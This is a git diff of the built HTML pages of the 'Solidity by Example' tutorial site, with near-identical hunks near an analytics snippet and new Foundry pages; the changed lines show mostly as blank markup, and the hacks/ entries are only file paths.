tN=document.getElementById("root"),oN=$i(tN),Ko=document.getElementById("root");Ko.hasChildNodes()?Pi(Ko,r.jsx(wo,{children:r.jsx(Ho,{})})):oN.render(r.jsx(wo,{children:r.jsx(Ho,{})})); diff --git a/bitwise/index.html b/bitwise/index.html index 23adbce12..9f67121c5 100644 --- a/bitwise/index.html +++ b/bitwise/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/call/index.html b/call/index.html index 23adbce12..9f67121c5 100644 --- a/call/index.html +++ b/call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/calling-contract/index.html b/calling-contract/index.html index 23adbce12..9f67121c5 100644 --- a/calling-contract/index.html +++ b/calling-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constants/index.html b/constants/index.html index 23adbce12..9f67121c5 100644 --- a/constants/index.html +++ b/constants/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constructor/index.html b/constructor/index.html index 23adbce12..9f67121c5 100644 --- a/constructor/index.html +++ b/constructor/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/data-locations/index.html b/data-locations/index.html index 23adbce12..9f67121c5 100644 --- a/data-locations/index.html +++ b/data-locations/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/chainlink-price-oracle/index.html b/defi/chainlink-price-oracle/index.html index 23adbce12..9f67121c5 100644 --- a/defi/chainlink-price-oracle/index.html +++ b/defi/chainlink-price-oracle/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-product-amm/index.html b/defi/constant-product-amm/index.html index 23adbce12..9f67121c5 100644 --- a/defi/constant-product-amm/index.html +++ b/defi/constant-product-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-sum-amm/index.html b/defi/constant-sum-amm/index.html index 23adbce12..9f67121c5 100644 --- a/defi/constant-sum-amm/index.html +++ b/defi/constant-sum-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/dai-proxy/index.html b/defi/dai-proxy/index.html index 23adbce12..9f67121c5 100644 --- a/defi/dai-proxy/index.html +++ b/defi/dai-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/discrete-staking-rewards/index.html b/defi/discrete-staking-rewards/index.html index 23adbce12..9f67121c5 100644 --- a/defi/discrete-staking-rewards/index.html +++ b/defi/discrete-staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/stable-swap-amm/index.html b/defi/stable-swap-amm/index.html index 23adbce12..9f67121c5 100644 --- a/defi/stable-swap-amm/index.html +++ b/defi/stable-swap-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/staking-rewards/index.html b/defi/staking-rewards/index.html index 23adbce12..9f67121c5 100644 --- a/defi/staking-rewards/index.html +++ b/defi/staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-add-remove-liquidity/index.html b/defi/uniswap-v2-add-remove-liquidity/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v2-add-remove-liquidity/index.html +++ b/defi/uniswap-v2-add-remove-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-flash-swap/index.html b/defi/uniswap-v2-flash-swap/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v2-flash-swap/index.html +++ b/defi/uniswap-v2-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-optimal-one-sided-supply/index.html b/defi/uniswap-v2-optimal-one-sided-supply/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v2-optimal-one-sided-supply/index.html +++ b/defi/uniswap-v2-optimal-one-sided-supply/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2/index.html b/defi/uniswap-v2/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v2/index.html +++ b/defi/uniswap-v2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash-swap/index.html b/defi/uniswap-v3-flash-swap/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v3-flash-swap/index.html +++ b/defi/uniswap-v3-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash/index.html b/defi/uniswap-v3-flash/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v3-flash/index.html +++ b/defi/uniswap-v3-flash/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-liquidity/index.html b/defi/uniswap-v3-liquidity/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v3-liquidity/index.html +++ b/defi/uniswap-v3-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-swap/index.html b/defi/uniswap-v3-swap/index.html index 23adbce12..9f67121c5 100644 --- a/defi/uniswap-v3-swap/index.html +++ b/defi/uniswap-v3-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/vault/index.html b/defi/vault/index.html index 23adbce12..9f67121c5 100644 --- a/defi/vault/index.html +++ b/defi/vault/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/delegatecall/index.html b/delegatecall/index.html index 23adbce12..9f67121c5 100644 --- a/delegatecall/index.html +++ b/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/enum/index.html b/enum/index.html index 23adbce12..9f67121c5 100644 --- a/enum/index.html +++ b/enum/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/error/index.html b/error/index.html index 23adbce12..9f67121c5 100644 --- a/error/index.html +++ b/error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/ether-units/index.html b/ether-units/index.html index 23adbce12..9f67121c5 100644 --- a/ether-units/index.html +++ b/ether-units/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/events-advanced/index.html b/events-advanced/index.html index 23adbce12..9f67121c5 100644 --- a/events-advanced/index.html +++ b/events-advanced/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/events/index.html b/events/index.html index 23adbce12..9f67121c5 100644 --- a/events/index.html +++ b/events/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/evm/memory/index.html b/evm/memory/index.html index 23adbce12..9f67121c5 100644 --- a/evm/memory/index.html +++ b/evm/memory/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/evm/storage/index.html b/evm/storage/index.html index 23adbce12..9f67121c5 100644 --- a/evm/storage/index.html +++ b/evm/storage/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/fallback/index.html b/fallback/index.html index 23adbce12..9f67121c5 100644 --- a/fallback/index.html +++ b/fallback/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/first-app/index.html b/first-app/index.html index 23adbce12..9f67121c5 100644 --- a/first-app/index.html +++ b/first-app/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/foundry/auth/index.html b/foundry/auth/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/auth/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/basic/index.html b/foundry/basic/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/basic/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/error/index.html b/foundry/error/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/error/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/event/index.html b/foundry/event/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/event/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/label/index.html b/foundry/label/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/label/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/mock-call/index.html b/foundry/mock-call/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/mock-call/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/send/index.html b/foundry/send/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/send/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/sign/index.html b/foundry/sign/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/sign/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/foundry/time/index.html b/foundry/time/index.html new file mode 100644 index 000000000..9f67121c5 --- /dev/null +++ b/foundry/time/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + Solidity by Example + + + + + + + + + + +
                                                    + + diff --git a/function-modifier/index.html b/function-modifier/index.html index 23adbce12..9f67121c5 100644 --- a/function-modifier/index.html +++ b/function-modifier/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function-selector/index.html b/function-selector/index.html index 23adbce12..9f67121c5 100644 --- a/function-selector/index.html +++ b/function-selector/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function/index.html b/function/index.html index 23adbce12..9f67121c5 100644 --- a/function/index.html +++ b/function/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas-golf/index.html b/gas-golf/index.html index 23adbce12..9f67121c5 100644 --- a/gas-golf/index.html +++ b/gas-golf/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas/index.html b/gas/index.html index 23adbce12..9f67121c5 100644 --- a/gas/index.html +++ b/gas/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/accessing-private-data/index.html b/hacks/accessing-private-data/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/accessing-private-data/index.html +++ b/hacks/accessing-private-data/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/block-timestamp-manipulation/index.html b/hacks/block-timestamp-manipulation/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/block-timestamp-manipulation/index.html +++ b/hacks/block-timestamp-manipulation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/contract-size/index.html b/hacks/contract-size/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/contract-size/index.html +++ b/hacks/contract-size/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/delegatecall/index.html b/hacks/delegatecall/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/delegatecall/index.html +++ b/hacks/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/denial-of-service/index.html b/hacks/denial-of-service/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/denial-of-service/index.html +++ b/hacks/denial-of-service/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/deploy-different-contracts-same-address/index.html b/hacks/deploy-different-contracts-same-address/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/deploy-different-contracts-same-address/index.html +++ b/hacks/deploy-different-contracts-same-address/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/front-running/index.html b/hacks/front-running/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/front-running/index.html +++ b/hacks/front-running/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/hiding-malicious-code-with-external-contract/index.html b/hacks/hiding-malicious-code-with-external-contract/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/hiding-malicious-code-with-external-contract/index.html +++ b/hacks/hiding-malicious-code-with-external-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/honeypot/index.html b/hacks/honeypot/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/honeypot/index.html +++ b/hacks/honeypot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/overflow/index.html b/hacks/overflow/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/overflow/index.html +++ b/hacks/overflow/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/phishing-with-tx-origin/index.html b/hacks/phishing-with-tx-origin/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/phishing-with-tx-origin/index.html +++ b/hacks/phishing-with-tx-origin/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/randomness/index.html b/hacks/randomness/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/randomness/index.html +++ b/hacks/randomness/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/re-entrancy/index.html b/hacks/re-entrancy/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/re-entrancy/index.html +++ b/hacks/re-entrancy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/self-destruct/index.html b/hacks/self-destruct/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/self-destruct/index.html +++ b/hacks/self-destruct/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/signature-replay/index.html b/hacks/signature-replay/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/signature-replay/index.html +++ b/hacks/signature-replay/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/vault-inflation/index.html b/hacks/vault-inflation/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/vault-inflation/index.html +++ b/hacks/vault-inflation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/weth-permit/index.html b/hacks/weth-permit/index.html index 23adbce12..9f67121c5 100644 --- a/hacks/weth-permit/index.html +++ b/hacks/weth-permit/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hashing/index.html b/hashing/index.html index 23adbce12..9f67121c5 100644 --- a/hashing/index.html +++ b/hashing/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hello-world/index.html b/hello-world/index.html index 23adbce12..9f67121c5 100644 --- a/hello-world/index.html +++ b/hello-world/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/if-else/index.html b/if-else/index.html index 23adbce12..9f67121c5 100644 --- a/if-else/index.html +++ b/if-else/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/immutable/index.html b/immutable/index.html index 23adbce12..9f67121c5 100644 --- a/immutable/index.html +++ b/immutable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/import/index.html b/import/index.html index 23adbce12..9f67121c5 100644 --- a/import/index.html +++ b/import/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/index.html b/index.html index 23adbce12..9f67121c5 100644 --- a/index.html +++ b/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/inheritance/index.html b/inheritance/index.html index 23adbce12..9f67121c5 100644 --- a/inheritance/index.html +++ b/inheritance/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/interface/index.html b/interface/index.html index 23adbce12..9f67121c5 100644 --- a/interface/index.html +++ b/interface/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/library/index.html b/library/index.html index 23adbce12..9f67121c5 100644 --- a/library/index.html +++ b/library/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/loop/index.html b/loop/index.html index 23adbce12..9f67121c5 100644 --- a/loop/index.html +++ b/loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/mapping/index.html b/mapping/index.html index 23adbce12..9f67121c5 100644 --- a/mapping/index.html +++ b/mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/new-contract/index.html b/new-contract/index.html index 23adbce12..9f67121c5 100644 --- a/new-contract/index.html +++ b/new-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/payable/index.html b/payable/index.html index 23adbce12..9f67121c5 100644 --- a/payable/index.html +++ b/payable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/primitives/index.html b/primitives/index.html index 23adbce12..9f67121c5 100644 --- a/primitives/index.html +++ b/primitives/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/sending-ether/index.html b/sending-ether/index.html index 23adbce12..9f67121c5 100644 --- a/sending-ether/index.html +++ b/sending-ether/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/shadowing-inherited-state-variables/index.html b/shadowing-inherited-state-variables/index.html index 23adbce12..9f67121c5 100644 --- a/shadowing-inherited-state-variables/index.html +++ b/shadowing-inherited-state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/signature/index.html b/signature/index.html index 23adbce12..9f67121c5 100644 --- a/signature/index.html +++ b/signature/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/state-variables/index.html b/state-variables/index.html index 23adbce12..9f67121c5 100644 --- a/state-variables/index.html +++ b/state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/structs/index.html b/structs/index.html index 23adbce12..9f67121c5 100644 --- a/structs/index.html +++ b/structs/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/super/index.html b/super/index.html index 23adbce12..9f67121c5 100644 --- a/super/index.html +++ b/super/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/tests/echidna/index.html b/tests/echidna/index.html index 23adbce12..9f67121c5 100644 --- a/tests/echidna/index.html +++ b/tests/echidna/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/transient-storage/index.html b/transient-storage/index.html index 23adbce12..9f67121c5 100644 --- a/transient-storage/index.html +++ b/transient-storage/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/try-catch/index.html b/try-catch/index.html index 23adbce12..9f67121c5 100644 --- a/try-catch/index.html +++ b/try-catch/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/unchecked-math/index.html b/unchecked-math/index.html index 23adbce12..9f67121c5 100644 --- a/unchecked-math/index.html +++ b/unchecked-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/user-defined-value-types/index.html b/user-defined-value-types/index.html index 23adbce12..9f67121c5 100644 --- a/user-defined-value-types/index.html +++ b/user-defined-value-types/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/variables/index.html b/variables/index.html index 23adbce12..9f67121c5 100644 --- a/variables/index.html +++ b/variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/view-and-pure-functions/index.html b/view-and-pure-functions/index.html index 23adbce12..9f67121c5 100644 --- a/view-and-pure-functions/index.html +++ b/view-and-pure-functions/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/visibility/index.html b/visibility/index.html index 23adbce12..9f67121c5 100644 --- a/visibility/index.html +++ b/visibility/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + +